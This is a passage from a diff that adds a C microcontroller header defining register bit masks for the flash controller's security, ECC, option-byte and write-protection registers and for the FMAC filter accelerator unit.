FLASH_SECCR_INV_Pos) /*!< 0x20000000 */ +#define FLASH_SECCR_INV FLASH_SECCR_INV_Msk /*!< Flash Security State Invert */ +#define FLASH_SECCR_LOCK_Pos (31UL) +#define FLASH_SECCR_LOCK_Msk (0x1UL << FLASH_SECCR_LOCK_Pos) /*!< 0x80000000 */ +#define FLASH_SECCR_LOCK FLASH_SECCR_LOCK_Msk /*!< Secure Lock */ + +/******************* Bits definition for FLASH_ECCR register ***************/ +#define FLASH_ECCR_ADDR_ECC_Pos (0UL) +#define FLASH_ECCR_ADDR_ECC_Msk (0xFFFFFUL << FLASH_ECCR_ADDR_ECC_Pos) /*!< 0x000FFFFF */ +#define FLASH_ECCR_ADDR_ECC FLASH_ECCR_ADDR_ECC_Msk /*!< ECC fail address */ +#define FLASH_ECCR_BK_ECC_Pos (21UL) +#define FLASH_ECCR_BK_ECC_Msk (0x1UL << FLASH_ECCR_BK_ECC_Pos) /*!< 0x00200000 */ +#define FLASH_ECCR_BK_ECC FLASH_ECCR_BK_ECC_Msk /*!< ECC fail bank */ +#define FLASH_ECCR_SYSF_ECC_Pos (22UL) +#define FLASH_ECCR_SYSF_ECC_Msk (0x1UL << FLASH_ECCR_SYSF_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_ECCR_SYSF_ECC FLASH_ECCR_SYSF_ECC_Msk /*!< System Flash ECC fail */ +#define FLASH_ECCR_ECCIE_Pos (24UL) +#define FLASH_ECCR_ECCIE_Msk (0x1UL << FLASH_ECCR_ECCIE_Pos) /*!< 0x01000000 */ +#define FLASH_ECCR_ECCIE FLASH_ECCR_ECCIE_Msk /*!< ECC correction interrupt enable */ +#define FLASH_ECCR_ECCC_Pos (30UL) +#define FLASH_ECCR_ECCC_Msk (0x1UL << FLASH_ECCR_ECCC_Pos) /*!< 0x40000000 */ +#define FLASH_ECCR_ECCC FLASH_ECCR_ECCC_Msk /*!< ECC correction */ +#define FLASH_ECCR_ECCD_Pos (31UL) +#define FLASH_ECCR_ECCD_Msk (0x1UL << FLASH_ECCR_ECCD_Pos) /*!< 0x80000000 */ +#define FLASH_ECCR_ECCD FLASH_ECCR_ECCD_Msk /*!< ECC detection */ + +/******************* Bits definition for FLASH_OPSR register ***************/ +#define FLASH_OPSR_ADDR_OP_Pos (0UL) +#define FLASH_OPSR_ADDR_OP_Msk (0xFFFFFUL << FLASH_OPSR_ADDR_OP_Pos) /*!< 0x000FFFFF */ +#define FLASH_OPSR_ADDR_OP FLASH_OPSR_ADDR_OP_Msk /*!< Flash operation address */ +#define FLASH_OPSR_BK_OP_Pos (21UL) +#define FLASH_OPSR_BK_OP_Msk (0x1UL << FLASH_OPSR_BK_OP_Pos) /*!< 0x00200000 */ +#define FLASH_OPSR_BK_OP FLASH_OPSR_BK_OP_Msk /*!< Interrupted operation bank */ +#define FLASH_OPSR_SYSF_OP_Pos (22UL) +#define FLASH_OPSR_SYSF_OP_Msk (0x1UL << FLASH_OPSR_SYSF_OP_Pos) /*!< 0x00400000 */ +#define FLASH_OPSR_SYSF_OP FLASH_OPSR_SYSF_OP_Msk /*!< Operation in System Flash interrupted */ +#define FLASH_OPSR_CODE_OP_Pos (29UL) +#define FLASH_OPSR_CODE_OP_Msk (0x7UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0xE0000000 */ +#define FLASH_OPSR_CODE_OP FLASH_OPSR_CODE_OP_Msk /*!< Flash operation code */ +#define FLASH_OPSR_CODE_OP_0 (0x1UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x20000000 */ +#define FLASH_OPSR_CODE_OP_1 (0x2UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x40000000 */ +#define FLASH_OPSR_CODE_OP_2 (0x4UL << FLASH_OPSR_CODE_OP_Pos) /*!< 0x80000000 */ + +/******************* Bits definition for FLASH_OPTR register ***************/ +#define FLASH_OPTR_RDP_Pos (0UL) +#define FLASH_OPTR_RDP_Msk (0xFFUL << FLASH_OPTR_RDP_Pos) /*!< 0x000000FF */ +#define FLASH_OPTR_RDP FLASH_OPTR_RDP_Msk /*!< Readout protection level */ +#define FLASH_OPTR_BOR_LEV_Pos (8UL) +#define FLASH_OPTR_BOR_LEV_Msk (0x7UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000700 */ +#define FLASH_OPTR_BOR_LEV FLASH_OPTR_BOR_LEV_Msk /*!< BOR reset Level */ +#define FLASH_OPTR_BOR_LEV_0 (0x1UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000100 */ +#define FLASH_OPTR_BOR_LEV_1 (0x2UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000200 */ +#define FLASH_OPTR_BOR_LEV_2 (0x4UL << FLASH_OPTR_BOR_LEV_Pos) /*!< 0x00000400 */ +#define FLASH_OPTR_nRST_STOP_Pos (12UL) +#define FLASH_OPTR_nRST_STOP_Msk (0x1UL << FLASH_OPTR_nRST_STOP_Pos) /*!< 0x00001000 */ +#define FLASH_OPTR_nRST_STOP FLASH_OPTR_nRST_STOP_Msk /*!< nRST_STOP */ +#define FLASH_OPTR_nRST_STDBY_Pos (13UL) +#define FLASH_OPTR_nRST_STDBY_Msk (0x1UL << FLASH_OPTR_nRST_STDBY_Pos) /*!< 0x00002000 */ +#define FLASH_OPTR_nRST_STDBY FLASH_OPTR_nRST_STDBY_Msk /*!< nRST_STDBY */ +#define FLASH_OPTR_nRST_SHDW_Pos (14UL) +#define FLASH_OPTR_nRST_SHDW_Msk (0x1UL << FLASH_OPTR_nRST_SHDW_Pos) /*!< 0x00004000 */ +#define FLASH_OPTR_nRST_SHDW FLASH_OPTR_nRST_SHDW_Msk /*!< nRST_SHDW */ +#define FLASH_OPTR_SRAM_RST_Pos (15UL) +#define FLASH_OPTR_SRAM_RST_Msk (0x1UL << FLASH_OPTR_SRAM_RST_Pos) /*!< 0x00008000 */ +#define FLASH_OPTR_SRAM_RST FLASH_OPTR_SRAM_RST_Msk /*!< All SRAMs (except SRAM2 and BKPSRAM) erase upon system reset */ +#define FLASH_OPTR_IWDG_SW_Pos (16UL) +#define FLASH_OPTR_IWDG_SW_Msk (0x1UL << FLASH_OPTR_IWDG_SW_Pos) /*!< 0x00010000 */ +#define FLASH_OPTR_IWDG_SW FLASH_OPTR_IWDG_SW_Msk /*!< Independent watchdog selection */ +#define FLASH_OPTR_IWDG_STOP_Pos (17UL) +#define FLASH_OPTR_IWDG_STOP_Msk (0x1UL << FLASH_OPTR_IWDG_STOP_Pos) /*!< 0x00020000 */ +#define FLASH_OPTR_IWDG_STOP FLASH_OPTR_IWDG_STOP_Msk /*!< Independent watchdog counter freeze in Stop mode */ +#define FLASH_OPTR_IWDG_STDBY_Pos (18UL) +#define FLASH_OPTR_IWDG_STDBY_Msk (0x1UL << FLASH_OPTR_IWDG_STDBY_Pos) /*!< 0x00040000 */ +#define FLASH_OPTR_IWDG_STDBY FLASH_OPTR_IWDG_STDBY_Msk /*!< Independent watchdog counter freeze in Standby mode */ +#define FLASH_OPTR_WWDG_SW_Pos (19UL) +#define FLASH_OPTR_WWDG_SW_Msk (0x1UL << FLASH_OPTR_WWDG_SW_Pos) /*!< 0x00080000 */ +#define FLASH_OPTR_WWDG_SW FLASH_OPTR_WWDG_SW_Msk /*!< Window watchdog selection */ +#define FLASH_OPTR_SWAP_BANK_Pos (20UL) +#define FLASH_OPTR_SWAP_BANK_Msk (0x1UL << FLASH_OPTR_SWAP_BANK_Pos) /*!< 0x00100000 */ +#define FLASH_OPTR_SWAP_BANK FLASH_OPTR_SWAP_BANK_Msk /*!< Swap banks */ +#define FLASH_OPTR_DUALBANK_Pos (21UL) +#define FLASH_OPTR_DUALBANK_Msk (0x1UL << FLASH_OPTR_DUALBANK_Pos) /*!< 0x00200000 */ +#define FLASH_OPTR_DUALBANK FLASH_OPTR_DUALBANK_Msk /*!< Dual-bank on 1M and 512 Kbytes Flash memory devices */ +#define FLASH_OPTR_BKPRAM_ECC_Pos (22UL) +#define FLASH_OPTR_BKPRAM_ECC_Msk (0x1UL << FLASH_OPTR_BKPRAM_ECC_Pos) /*!< 0x00400000 */ +#define FLASH_OPTR_BKPRAM_ECC FLASH_OPTR_BKPRAM_ECC_Msk /*!< Backup RAM ECC detection and correction enable */ +#define FLASH_OPTR_SRAM3_ECC_Pos (23UL) +#define FLASH_OPTR_SRAM3_ECC_Msk (0x1UL << FLASH_OPTR_SRAM3_ECC_Pos) /*!< 0x00800000 */ +#define FLASH_OPTR_SRAM3_ECC FLASH_OPTR_SRAM3_ECC_Msk /*!< SRAM3 ECC detection and correction enable */ +#define FLASH_OPTR_SRAM2_ECC_Pos (24UL) +#define FLASH_OPTR_SRAM2_ECC_Msk (0x1UL << FLASH_OPTR_SRAM2_ECC_Pos) /*!< 0x01000000 */ +#define FLASH_OPTR_SRAM2_ECC FLASH_OPTR_SRAM2_ECC_Msk /*!< SRAM2 ECC detection and correction enable*/ +#define FLASH_OPTR_SRAM2_RST_Pos (25UL) +#define FLASH_OPTR_SRAM2_RST_Msk (0x1UL << FLASH_OPTR_SRAM2_RST_Pos) /*!< 0x02000000 */ +#define FLASH_OPTR_SRAM2_RST FLASH_OPTR_SRAM2_RST_Msk /*!< SRAM2 erase when system reset */ +#define FLASH_OPTR_nSWBOOT0_Pos (26UL) +#define FLASH_OPTR_nSWBOOT0_Msk (0x1UL << FLASH_OPTR_nSWBOOT0_Pos) /*!< 0x04000000 */ +#define FLASH_OPTR_nSWBOOT0 FLASH_OPTR_nSWBOOT0_Msk /*!< Software BOOT0 */ +#define FLASH_OPTR_nBOOT0_Pos (27UL) +#define FLASH_OPTR_nBOOT0_Msk (0x1UL << FLASH_OPTR_nBOOT0_Pos) /*!< 0x08000000 */ +#define FLASH_OPTR_nBOOT0 FLASH_OPTR_nBOOT0_Msk /*!< nBOOT0 option bit */ +#define FLASH_OPTR_PA15_PUPEN_Pos (28UL) +#define FLASH_OPTR_PA15_PUPEN_Msk (0x1UL << FLASH_OPTR_PA15_PUPEN_Pos) /*!< 0x10000000 */ +#define FLASH_OPTR_PA15_PUPEN FLASH_OPTR_PA15_PUPEN_Msk /*!< PA15 pull-up enable */ +#define FLASH_OPTR_IO_VDD_HSLV_Pos (29UL) +#define FLASH_OPTR_IO_VDD_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDD_HSLV_Pos) /*!< 0x20000000 */ +#define FLASH_OPTR_IO_VDD_HSLV FLASH_OPTR_IO_VDD_HSLV_Msk /*!< High speed IO at low voltage configuration bit */ +#define FLASH_OPTR_IO_VDDIO2_HSLV_Pos (30UL) +#define FLASH_OPTR_IO_VDDIO2_HSLV_Msk (0x1UL << FLASH_OPTR_IO_VDDIO2_HSLV_Pos) /*!< 0x40000000 */ +#define FLASH_OPTR_IO_VDDIO2_HSLV FLASH_OPTR_IO_VDDIO2_HSLV_Msk /*!< High speed IO at low VDDIO2 voltage configuration bit */ +#define FLASH_OPTR_TZEN_Pos (31UL) +#define FLASH_OPTR_TZEN_Msk (0x1UL << FLASH_OPTR_TZEN_Pos) /*!< 0x80000000 */ +#define FLASH_OPTR_TZEN FLASH_OPTR_TZEN_Msk /*!< Global TrustZone security enable */ + +/**************** Bits definition for FLASH_NSBOOTADD0R register ************/ +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Pos (7UL) +#define FLASH_NSBOOTADD0R_NSBOOTADD0_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD0R_NSBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD0R_NSBOOTADD0 FLASH_NSBOOTADD0R_NSBOOTADD0_Msk /*!< Non-secure boot address 0 */ + +/**************** Bits definition for FLASH_NSBOOTADD1R register ************/ +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Pos (7UL) +#define FLASH_NSBOOTADD1R_NSBOOTADD1_Msk (0x1FFFFFFUL << FLASH_NSBOOTADD1R_NSBOOTADD1_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_NSBOOTADD1R_NSBOOTADD1 FLASH_NSBOOTADD1R_NSBOOTADD1_Msk /*!< Non-secure boot address 1 */ + +/**************** Bits definition for FLASH_SECBOOTADD0R register ***********/ +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Pos (0UL) +#define FLASH_SECBOOTADD0R_BOOT_LOCK_Msk (0x1UL << FLASH_SECBOOTADD0R_BOOT_LOCK_Pos) /*!< 0x00000001 */ +#define FLASH_SECBOOTADD0R_BOOT_LOCK FLASH_SECBOOTADD0R_BOOT_LOCK_Msk /*!< Boot Lock */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Pos (7UL) +#define FLASH_SECBOOTADD0R_SECBOOTADD0_Msk (0x1FFFFFFUL << FLASH_SECBOOTADD0R_SECBOOTADD0_Pos) /*!< 0xFFFFFF80 */ +#define FLASH_SECBOOTADD0R_SECBOOTADD0 FLASH_SECBOOTADD0R_SECBOOTADD0_Msk /*!< Secure boot address 0 */ + +/***************** Bits definition for FLASH_SECWM1R1 register **************/ +#define FLASH_SECWM1R1_SECWM1_PSTRT_Pos (0UL) +#define FLASH_SECWM1R1_SECWM1_PSTRT_Msk (0x7FUL << FLASH_SECWM1R1_SECWM1_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWM1R1_SECWM1_PSTRT FLASH_SECWM1R1_SECWM1_PSTRT_Msk /*!< Start page of first secure area */ +#define FLASH_SECWM1R1_SECWM1_PEND_Pos (16UL) +#define FLASH_SECWM1R1_SECWM1_PEND_Msk (0x7FUL << FLASH_SECWM1R1_SECWM1_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM1R1_SECWM1_PEND FLASH_SECWM1R1_SECWM1_PEND_Msk /*!< End page of first secure area */ + +/***************** Bits definition for FLASH_SECWM1R2 register **************/ +#define FLASH_SECWM1R2_HDP1_PEND_Pos (16UL) +#define FLASH_SECWM1R2_HDP1_PEND_Msk (0x7FUL << FLASH_SECWM1R2_HDP1_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM1R2_HDP1_PEND FLASH_SECWM1R2_HDP1_PEND_Msk /*!< End page of first hide protection area */ +#define FLASH_SECWM1R2_HDP1EN_Pos (31UL) +#define FLASH_SECWM1R2_HDP1EN_Msk (0x1UL << FLASH_SECWM1R2_HDP1EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM1R2_HDP1EN FLASH_SECWM1R2_HDP1EN_Msk /*!< Hide protection first area enable */ + +/****************** Bits definition for FLASH_WRP1AR register ***************/ +#define FLASH_WRP1AR_WRP1A_PSTRT_Pos (0UL) +#define FLASH_WRP1AR_WRP1A_PSTRT_Msk (0x7FUL << FLASH_WRP1AR_WRP1A_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP1AR_WRP1A_PSTRT FLASH_WRP1AR_WRP1A_PSTRT_Msk /*!< Bank 1 WPR first area A start page */ +#define FLASH_WRP1AR_WRP1A_PEND_Pos (16UL) +#define FLASH_WRP1AR_WRP1A_PEND_Msk (0x7FUL << FLASH_WRP1AR_WRP1A_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP1AR_WRP1A_PEND FLASH_WRP1AR_WRP1A_PEND_Msk /*!< Bank 1 WPR first area A end page */ +#define FLASH_WRP1AR_UNLOCK_Pos (31UL) +#define FLASH_WRP1AR_UNLOCK_Msk (0x1UL << FLASH_WRP1AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1AR_UNLOCK FLASH_WRP1AR_UNLOCK_Msk /*!< Bank 1 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP1BR register ***************/ +#define FLASH_WRP1BR_WRP1B_PSTRT_Pos (0UL) +#define FLASH_WRP1BR_WRP1B_PSTRT_Msk (0x7FUL << FLASH_WRP1BR_WRP1B_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP1BR_WRP1B_PSTRT FLASH_WRP1BR_WRP1B_PSTRT_Msk /*!< Bank 1 WPR second area B start page */ +#define FLASH_WRP1BR_WRP1B_PEND_Pos (16UL) +#define FLASH_WRP1BR_WRP1B_PEND_Msk (0x7FUL << FLASH_WRP1BR_WRP1B_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP1BR_WRP1B_PEND FLASH_WRP1BR_WRP1B_PEND_Msk /*!< Bank 1 WPR second area B end page */ +#define FLASH_WRP1BR_UNLOCK_Pos (31UL) +#define FLASH_WRP1BR_UNLOCK_Msk (0x1UL << FLASH_WRP1BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP1BR_UNLOCK FLASH_WRP1BR_UNLOCK_Msk /*!< Bank 1 WPR first area B unlock */ + +/***************** Bits definition for FLASH_SECWM2R1 register **************/ +#define FLASH_SECWM2R1_SECWM2_PSTRT_Pos (0UL) +#define FLASH_SECWM2R1_SECWM2_PSTRT_Msk (0x7FUL << FLASH_SECWM2R1_SECWM2_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_SECWM2R1_SECWM2_PSTRT FLASH_SECWM2R1_SECWM2_PSTRT_Msk /*!< Start page of second secure area */ +#define FLASH_SECWM2R1_SECWM2_PEND_Pos (16UL) +#define FLASH_SECWM2R1_SECWM2_PEND_Msk (0x7FUL << FLASH_SECWM2R1_SECWM2_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM2R1_SECWM2_PEND FLASH_SECWM2R1_SECWM2_PEND_Msk /*!< End page of second secure area */ + +/***************** Bits definition for FLASH_SECWM2R2 register **************/ +#define FLASH_SECWM2R2_HDP2_PEND_Pos (16UL) +#define FLASH_SECWM2R2_HDP2_PEND_Msk (0x7FUL << FLASH_SECWM2R2_HDP2_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_SECWM2R2_HDP2_PEND FLASH_SECWM2R2_HDP2_PEND_Msk /*!< End page of hide protection second area */ +#define FLASH_SECWM2R2_HDP2EN_Pos (31UL) +#define FLASH_SECWM2R2_HDP2EN_Msk (0x1UL << FLASH_SECWM2R2_HDP2EN_Pos) /*!< 0x80000000 */ +#define FLASH_SECWM2R2_HDP2EN FLASH_SECWM2R2_HDP2EN_Msk /*!< Hide protection second area enable */ + +/****************** Bits definition for FLASH_WRP2AR register ***************/ +#define FLASH_WRP2AR_WRP2A_PSTRT_Pos (0UL) +#define FLASH_WRP2AR_WRP2A_PSTRT_Msk (0x7FUL << FLASH_WRP2AR_WRP2A_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP2AR_WRP2A_PSTRT FLASH_WRP2AR_WRP2A_PSTRT_Msk /*!< Bank 2 WPR first area A start page */ +#define FLASH_WRP2AR_WRP2A_PEND_Pos (16UL) +#define FLASH_WRP2AR_WRP2A_PEND_Msk (0x7FUL << FLASH_WRP2AR_WRP2A_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP2AR_WRP2A_PEND FLASH_WRP2AR_WRP2A_PEND_Msk /*!< Bank 2 WPR first area A end page */ +#define FLASH_WRP2AR_UNLOCK_Pos (31UL) +#define FLASH_WRP2AR_UNLOCK_Msk (0x1UL << FLASH_WRP2AR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2AR_UNLOCK FLASH_WRP2AR_UNLOCK_Msk /*!< Bank 2 WPR first area A unlock */ + +/****************** Bits definition for FLASH_WRP2BR register ***************/ +#define FLASH_WRP2BR_WRP2B_PSTRT_Pos (0UL) +#define FLASH_WRP2BR_WRP2B_PSTRT_Msk (0x7FUL << FLASH_WRP2BR_WRP2B_PSTRT_Pos) /*!< 0x0000007F */ +#define FLASH_WRP2BR_WRP2B_PSTRT FLASH_WRP2BR_WRP2B_PSTRT_Msk /*!< Bank 2 WPR first area B start page */ +#define FLASH_WRP2BR_WRP2B_PEND_Pos (16UL) +#define FLASH_WRP2BR_WRP2B_PEND_Msk (0x7FUL << FLASH_WRP2BR_WRP2B_PEND_Pos) /*!< 0x007F0000 */ +#define FLASH_WRP2BR_WRP2B_PEND FLASH_WRP2BR_WRP2B_PEND_Msk /*!< Bank 2 WPR first area B end page */ +#define FLASH_WRP2BR_UNLOCK_Pos (31UL) +#define FLASH_WRP2BR_UNLOCK_Msk (0x1UL << FLASH_WRP2BR_UNLOCK_Pos) /*!< 0x80000000 */ +#define FLASH_WRP2BR_UNLOCK FLASH_WRP2BR_UNLOCK_Msk /*!< Bank 2 WPR first area B unlock */ + +/****************** Bits definition for FLASH_SECHDPCR register ***********/ +#define FLASH_SECHDPCR_HDP1_ACCDIS_Pos (0UL) +#define FLASH_SECHDPCR_HDP1_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP1_ACCDIS_Pos) /*!< 0x00000001 */ +#define FLASH_SECHDPCR_HDP1_ACCDIS FLASH_SECHDPCR_HDP1_ACCDIS_Msk /*!< HDP1 area access disable */ +#define FLASH_SECHDPCR_HDP2_ACCDIS_Pos (1UL) +#define FLASH_SECHDPCR_HDP2_ACCDIS_Msk (0x1UL << FLASH_SECHDPCR_HDP2_ACCDIS_Pos) /*!< 0x00000002 */ +#define FLASH_SECHDPCR_HDP2_ACCDIS FLASH_SECHDPCR_HDP2_ACCDIS_Msk /*!< HDP2 area access disable */ + +/****************** Bits definition for FLASH_PRIVCFGR register ***********/ +#define FLASH_PRIVCFGR_SPRIV_Pos (0UL) +#define FLASH_PRIVCFGR_SPRIV_Msk (0x1UL << FLASH_PRIVCFGR_SPRIV_Pos) /*!< 0x00000001 */ +#define FLASH_PRIVCFGR_SPRIV FLASH_PRIVCFGR_SPRIV_Msk /*!< Privilege protection for secure registers */ +#define FLASH_PRIVCFGR_NSPRIV_Pos (1UL) +#define FLASH_PRIVCFGR_NSPRIV_Msk (0x1UL << FLASH_PRIVCFGR_NSPRIV_Pos) /*!< 0x00000002 */ +#define FLASH_PRIVCFGR_NSPRIV FLASH_PRIVCFGR_NSPRIV_Msk /*!< Privilege protection for non-secure registers */ + +/******************************************************************************/ +/* */ +/* Filter Mathematical ACcelerator unit (FMAC) */ +/* */ +/******************************************************************************/ +/***************** Bit definition for FMAC_X1BUFCFG register ****************/ +#define FMAC_X1BUFCFG_X1_BASE_Pos (0UL) +#define FMAC_X1BUFCFG_X1_BASE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X1BUFCFG_X1_BASE FMAC_X1BUFCFG_X1_BASE_Msk /*!< Base address of X1 buffer */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Pos (8UL) +#define FMAC_X1BUFCFG_X1_BUF_SIZE_Msk (0xFFUL << FMAC_X1BUFCFG_X1_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X1BUFCFG_X1_BUF_SIZE FMAC_X1BUFCFG_X1_BUF_SIZE_Msk /*!< Allocated size of X1 buffer in 16-bit words */ +#define FMAC_X1BUFCFG_FULL_WM_Pos (24UL) +#define FMAC_X1BUFCFG_FULL_WM_Msk (0x3UL << FMAC_X1BUFCFG_FULL_WM_Pos) /*!< 0x03000000 */ +#define FMAC_X1BUFCFG_FULL_WM FMAC_X1BUFCFG_FULL_WM_Msk /*!< Watermark for buffer full flag */ + +/***************** Bit definition for FMAC_X2BUFCFG register ****************/ +#define FMAC_X2BUFCFG_X2_BASE_Pos (0UL) +#define FMAC_X2BUFCFG_X2_BASE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_X2BUFCFG_X2_BASE FMAC_X2BUFCFG_X2_BASE_Msk /*!< Base address of X2 buffer */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Pos (8UL) +#define FMAC_X2BUFCFG_X2_BUF_SIZE_Msk (0xFFUL << FMAC_X2BUFCFG_X2_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_X2BUFCFG_X2_BUF_SIZE FMAC_X2BUFCFG_X2_BUF_SIZE_Msk /*!< Size of X2 buffer in 16-bit words */ + +/***************** Bit definition for FMAC_YBUFCFG register *****************/ +#define FMAC_YBUFCFG_Y_BASE_Pos (0UL) +#define FMAC_YBUFCFG_Y_BASE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BASE_Pos) /*!< 0x000000FF */ +#define FMAC_YBUFCFG_Y_BASE FMAC_YBUFCFG_Y_BASE_Msk /*!< Base address of Y buffer */ +#define FMAC_YBUFCFG_Y_BUF_SIZE_Pos (8UL) +#define FMAC_YBUFCFG_Y_BUF_SIZE_Msk (0xFFUL << FMAC_YBUFCFG_Y_BUF_SIZE_Pos) /*!< 0x0000FF00 */ +#define FMAC_YBUFCFG_Y_BUF_SIZE FMAC_YBUFCFG_Y_BUF_SIZE_Msk /*!< Size of Y buffer in 16-bit words */ +#define FMAC_YBUFCFG_EMPTY_WM_Pos (24UL) +#define FMAC_YBUFCFG_EMPTY_WM_Msk (0x3UL << FMAC_YBUFCFG_EMPTY_WM_Pos) /*!< 0x03000000 */ +#define FMAC_YBUFCFG_EMPTY_WM FMAC_YBUFCFG_EMPTY_WM_Msk /*!< Watermark for buffer empty flag */ + +/****************** Bit definition for FMAC_PARAM register ******************/ +#define FMAC_PARAM_P_Pos (0UL) +#define FMAC_PARAM_P_Msk (0xFFUL << FMAC_PARAM_P_Pos) /*!< 0x000000FF */ +#define FMAC_PARAM_P FMAC_PARAM_P_Msk /*!< Input parameter P */ +#define FMAC_PARAM_Q_Pos (8UL) +#define FMAC_PARAM_Q_Msk (0xFFUL << FMAC_PARAM_Q_Pos) /*!< 0x0000FF00 */ +#define FMAC_PARAM_Q FMAC_PARAM_Q_Msk /*!< Input parameter Q */ +#define FMAC_PARAM_R_Pos (16UL) +#define FMAC_PARAM_R_Msk (0xFFUL << FMAC_PARAM_R_Pos) /*!< 0x00FF0000 */ +#define FMAC_PARAM_R FMAC_PARAM_R_Msk /*!< Input parameter R */ +#define FMAC_PARAM_FUNC_Pos (24UL) +#define FMAC_PARAM_FUNC_Msk (0x7FUL << FMAC_PARAM_FUNC_Pos) /*!< 0x7F000000 */ +#define FMAC_PARAM_FUNC FMAC_PARAM_FUNC_Msk /*!< Function */ +#define FMAC_PARAM_FUNC_0 (0x1UL << FMAC_PARAM_FUNC_Pos) /*!< 0x01000000 */ +#define FMAC_PARAM_FUNC_1 (0x2UL << FMAC_PARAM_FUNC_Pos) /*!< 0x02000000 */ +#define FMAC_PARAM_FUNC_2 (0x4UL << FMAC_PARAM_FUNC_Pos) /*!< 0x04000000 */ +#define FMAC_PARAM_FUNC_3 (0x8UL << FMAC_PARAM_FUNC_Pos) /*!< 0x08000000 */ +#define FMAC_PARAM_FUNC_4 (0x10UL << FMAC_PARAM_FUNC_Pos) /*!< 0x10000000 */ +#define FMAC_PARAM_FUNC_5 (0x20UL << FMAC_PARAM_FUNC_Pos) /*!< 0x20000000 */ +#define FMAC_PARAM_FUNC_6 (0x40UL << FMAC_PARAM_FUNC_Pos) /*!< 0x40000000 */ +#define FMAC_PARAM_START_Pos (31UL) +#define FMAC_PARAM_START_Msk (0x1UL << FMAC_PARAM_START_Pos) /*!< 0x80000000 */ +#define FMAC_PARAM_START FMAC_PARAM_START_Msk /*!< Enable execution */ + +/******************** Bit definition for FMAC_CR register *******************/ +#define FMAC_CR_RIEN_Pos (0UL) +#define FMAC_CR_RIEN_Msk (0x1UL << FMAC_CR_RIEN_Pos) /*!< 0x00000001 */ +#define FMAC_CR_RIEN FMAC_CR_RIEN_Msk /*!< Enable read interrupt */ +#define FMAC_CR_WIEN_Pos (1UL) +#define FMAC_CR_WIEN_Msk (0x1UL << FMAC_CR_WIEN_Pos) /*!< 0x00000002 */ +#define FMAC_CR_WIEN FMAC_CR_WIEN_Msk /*!< Enable write interrupt */ +#define FMAC_CR_OVFLIEN_Pos (2UL) +#define FMAC_CR_OVFLIEN_Msk (0x1UL << FMAC_CR_OVFLIEN_Pos) /*!< 0x00000004 */ +#define FMAC_CR_OVFLIEN FMAC_CR_OVFLIEN_Msk /*!< Enable overflow error interrupts */ +#define FMAC_CR_UNFLIEN_Pos (3UL) +#define FMAC_CR_UNFLIEN_Msk (0x1UL << FMAC_CR_UNFLIEN_Pos) /*!< 0x00000008 */ +#define FMAC_CR_UNFLIEN FMAC_CR_UNFLIEN_Msk /*!< Enable underflow error interrupts */ +#define FMAC_CR_SATIEN_Pos (4UL) +#define FMAC_CR_SATIEN_Msk (0x1UL << FMAC_CR_SATIEN_Pos) /*!< 0x00000010 */ +#define FMAC_CR_SATIEN FMAC_CR_SATIEN_Msk /*!< Enable saturation error interrupts */ +#define FMAC_CR_DMAREN_Pos (8UL) +#define FMAC_CR_DMAREN_Msk (0x1UL << FMAC_CR_DMAREN_Pos) /*!< 0x00000100 */ +#define FMAC_CR_DMAREN FMAC_CR_DMAREN_Msk /*!< Enable DMA read channel requests */ +#define FMAC_CR_DMAWEN_Pos (9UL) +#define FMAC_CR_DMAWEN_Msk (0x1UL << FMAC_CR_DMAWEN_Pos) /*!< 0x00000200 */ +#define FMAC_CR_DMAWEN FMAC_CR_DMAWEN_Msk /*!< Enable DMA write channel requests */ +#define FMAC_CR_CLIPEN_Pos (15UL) +#define FMAC_CR_CLIPEN_Msk (0x1UL << FMAC_CR_CLIPEN_Pos) /*!< 0x00008000 */ +#define FMAC_CR_CLIPEN FMAC_CR_CLIPEN_Msk /*!< Enable clipping */ +#define FMAC_CR_RESET_Pos (16UL) +#define FMAC_CR_RESET_Msk (0x1UL << FMAC_CR_RESET_Pos) /*!< 0x00010000 */ +#define FMAC_CR_RESET FMAC_CR_RESET_Msk /*!< Reset filter mathematical accelerator unit */ + +/******************* Bit definition for FMAC_SR register ********************/ +#define FMAC_SR_YEMPTY_Pos (0UL) +#define FMAC_SR_YEMPTY_Msk (0x1UL << 